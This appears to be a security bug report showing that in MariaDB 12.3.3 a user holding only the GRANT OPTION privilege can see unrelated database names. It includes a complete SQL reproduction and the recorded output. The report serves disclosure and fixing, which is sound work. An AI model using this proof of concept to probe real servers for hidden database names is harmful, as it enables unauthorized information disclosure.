Global GRANT OPTION exposes otherwise inaccessible database names

The restricted session returns the marker database name from both SHOW DATABASES and INFORMATION_SCHEMA.SCHEMATA. The identity output confirms that these queries run as the user whose only global authorization is GRANT OPTION. This was reproduced with MariaDB 12.3.3 on Linux/amd64.

Run the following SQL from a privileged session:

DROP DATABASE IF EXISTS private_catalog;

DROP USER IF EXISTS 'grant_delegate'@'localhost';

CREATE DATABASE private_catalog;

CREATE USER 'grant_delegate'@'localhost';

GRANT GRANT OPTION ON *.* TO 'grant_delegate'@'localhost';

SET SESSION AUTHORIZATION 'grant_delegate'@'localhost';

SELECT CONCAT('session_user=', CURRENT_USER());

SHOW DATABASES LIKE 'private_catalog';

SELECT CONCAT('visible_schema_count=', COUNT(*))

FROM information_schema.schemata

WHERE schema_name='private_catalog';

The recorded output is:

session_user=grant_delegate@localhost

private_catalog

visible_schema_count=1

The first line verifies the authorization change. The second line shows that SHOW DATABASES exposes the marker, and the count of 1 shows that INFORMATION_SCHEMA.SCHEMATA exposes it independently.

A principal holding only GRANT OPTION, without an object privilege or SHOW DATABASES privilege, should not see an unrelated database through either metadata interface. GRANT OPTION authorizes delegation of privileges already held; it is not itself an object-visibility privilege. The evidence demonstrates disclosure of the database name only; it does not demonstrate access to tables or schema contents.

This occurs when a user whose only global authorization is GRANT OPTION queries database visibility through SHOW DATABASES or INFORMATION_SCHEMA.SCHEMATA.